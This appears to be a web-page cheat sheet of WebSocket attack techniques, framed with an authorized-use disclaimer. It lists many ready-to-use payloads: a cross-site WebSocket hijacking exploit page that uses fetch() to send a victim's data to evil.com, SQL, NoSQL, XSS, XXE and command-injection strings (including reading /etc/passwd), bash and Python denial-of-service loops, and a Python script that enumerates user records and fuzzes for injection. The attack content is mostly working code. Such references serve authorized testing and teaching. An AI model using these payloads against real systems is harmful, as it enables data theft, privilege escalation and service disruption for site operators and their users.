← All cheat sheets

WEBSOCKET-SECURITY

Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.

Attacks and testing techniques for WebSocket connections.
Covers hijacking, injection, and common misconfigurations.

WEBSOCKET OVERVIEW#

# WebSocket provides full-duplex communication over a single TCP connection
# Initiated via HTTP Upgrade handshake, then switches to ws:// or wss://

# Handshake request
GET /chat HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://target.com

# Handshake response
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

# After handshake, communication is bidirectional frames (not HTTP)

TESTING TOOLS#

# Browser DevTools
  - Network tab → WS filter
  - Click connection to see messages
  - Inspect frames in real-time

# Burp Suite
  - Proxy → WebSockets history
  - Repeater supports WebSocket messages
  - Intruder can fuzz WebSocket parameters

# Caido
  - WebSocket support in proxy/replay

# wscat (CLI WebSocket client)
npm install -g wscat
wscat -c "wss://target.com/ws"
wscat -c "ws://target.com/ws" -H "Cookie: session=TOKEN"

# websocat (Rust CLI client)
websocat ws://target.com/ws
websocat -H="Cookie: session=TOKEN" wss://target.com/ws

# Python
import websocket
ws = websocket.WebSocket()
ws.connect("ws://target.com/ws",
           cookie="session=TOKEN",
           origin="https://target.com")
ws.send('{"action":"getUsers"}')
print(ws.recv())

CROSS-SITE WEBSOCKET HIJACKING (CSWSH)#

# Exploits: missing Origin header validation on WS handshake
# Similar to CSRF but for WebSocket connections

# Testing:
# 1. Check if server validates Origin header
wscat -c "ws://target.com/ws" -H "Origin: https://evil.com"
# If connection succeeds → vulnerable

# 2. Create exploit page
<script>
var ws = new WebSocket("wss://target.com/ws");
ws.onopen = function() {
    ws.send('{"action":"getProfile"}');
};
ws.onmessage = function(event) {
    // Exfiltrate data to attacker
    fetch("https://evil.com/steal?data=" +
          encodeURIComponent(event.data));
};
</script>

# 3. Victim visits attacker page while authenticated
# 4. Browser sends cookies automatically with WS handshake
# 5. Attacker's page receives victim's WebSocket data

# Mitigation: validate Origin header, use CSRF tokens

WEBSOCKET MESSAGE INJECTION#

# Manipulate WebSocket messages to exploit server-side logic

# Common attack patterns:
# 1. Modify parameters
{"action": "getUser", "id": 1}
# Change to:
{"action": "getUser", "id": 2}              # IDOR
{"action": "getUser", "id": "admin"}        # Priv esc

# 2. SQL injection via WebSocket
{"search": "' OR 1=1--"}
{"query": "test' UNION SELECT username,password FROM users--"}

# 3. XSS via WebSocket (if messages reflected in DOM)
{"message": "<script>alert(1)</script>"}
{"message": "<img src=x onerror=alert(1)>"}
{"name": "test\"><script>alert(1)</script>"}

# 4. Command injection
{"command": "ping 127.0.0.1; cat /etc/passwd"}

# 5. NoSQL injection
{"$where": "1==1"}
{"username": {"$gt": ""}, "password": {"$gt": ""}}

# 6. XXE (if XML messages)
{"data": "<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><foo>&xxe;</foo>"}

AUTHENTICATION & AUTHORIZATION#

# Common issues:

# 1. No authentication on WebSocket
  - WS endpoint accepts connections without credentials
  - Test: connect without cookies/tokens

# 2. Cookie-only authentication
  - Authentication via cookies in handshake
  - Vulnerable to CSWSH (cookies auto-sent)
  - Better: use token in first WS message

# 3. Missing per-message authorization
  - Handshake authenticated but individual actions not checked
  - Test: send admin-level commands as regular user
  {"action": "deleteUser", "id": 123}
  {"action": "getAdminPanel"}
  {"action": "setRole", "user": "attacker", "role": "admin"}

# 4. Token in URL
  ws://target.com/ws?token=SECRET
  - Token logged in server access logs
  - Token visible in browser history
  - Token leaked via Referer header

DENIAL OF SERVICE#

# WebSocket-specific DoS vectors

# 1. Connection flooding
for i in $(seq 1 1000); do
    wscat -c "ws://target.com/ws" &
done

# 2. Large message frames
python3 -c "
import websocket
ws = websocket.WebSocket()
ws.connect('ws://target.com/ws')
ws.send('A' * 10000000)  # 10MB message
"

# 3. Ping/pong abuse
# Send rapid ping frames without waiting for pong

# 4. Slowloris-style
# Open connections and send data very slowly

ENCRYPTION & TRANSPORT#

# ws:// = unencrypted (plaintext, like HTTP)
# wss:// = encrypted with TLS (like HTTPS)

# Testing:
  - Is ws:// used instead of wss://? → Data interception
  - Is wss:// using valid certificates?
  - Can ws:// be used when wss:// is expected? (downgrade)

# MitM on ws:// is trivial:
  - ARP spoofing + frame manipulation
  - No integrity protection

INFORMATION DISCLOSURE#

# WebSocket messages may leak sensitive data

# Common disclosures:
  - Internal IP addresses
  - Server software versions
  - Database error messages
  - User credentials or tokens
  - Other users' data (broken access control)
  - Debug/verbose mode information

# Monitor all messages for unintended data exposure
# Use browser DevTools or Burp to inspect WS traffic

TESTING WITH BURP SUITE#

# 1. Configure browser proxy
# 2. Navigate to page with WebSocket
# 3. Proxy → WebSockets History shows all messages
# 4. Right-click message → Send to Repeater
# 5. Modify and resend messages
# 6. Use Intruder for fuzzing WS parameters

# Extensions:
  - WebSocket Turbo Intruder
  - WS Message Logger

PYTHON TESTING SCRIPT#

import websocket
import json

# Connect
ws = websocket.WebSocket()
ws.connect("wss://target.com/ws",
           cookie="session=YOUR_TOKEN",
           origin="https://target.com")

# Test IDOR
for user_id in range(1, 100):
    ws.send(json.dumps({"action": "getUser", "id": user_id}))
    response = json.loads(ws.recv())
    if "email" in response:
        print(f"User {user_id}: {response}")

# Test injection
payloads = [
    "' OR 1=1--",
    "<script>alert(1)</script>",
    "{{7*7}}",
    "${7*7}",
    "$(whoami)",
]
for payload in payloads:
    ws.send(json.dumps({"search": payload}))
    print(ws.recv())

ws.close()

TESTING CHECKLIST#

[ ] Check Origin header validation (CSWSH)
[ ] Test for ws:// vs wss:// (encryption)
[ ] Verify authentication on WebSocket handshake
[ ] Test per-message authorization
[ ] Try SQL/NoSQL injection in WS messages
[ ] Try XSS payloads in WS messages
[ ] Test IDOR by modifying IDs in messages
[ ] Check for information disclosure in messages
[ ] Test privilege escalation via action manipulation
[ ] Try DoS via connection flooding or large messages
[ ] Check for rate limiting on WebSocket messages
[ ] Verify token handling (not in URL, not leaked)
[ ] Test reconnection behavior (does it re-authenticate?)

TIPS#

  - CSWSH is the most impactful WebSocket vulnerability
  - Browser DevTools WS inspector is invaluable
  - WebSocket bypasses traditional CORS restrictions
  - Per-message authorization is often overlooked
  - Same injection attacks apply (SQLi, XSS, etc.)
  - Token-based auth in first WS message > cookie auth
  - Monitor WS traffic for sensitive data leakage
  - Test reconnection — some apps skip re-auth
  - WebSocket connections persist — good for persistent XSS
  - ws:// on production is always a finding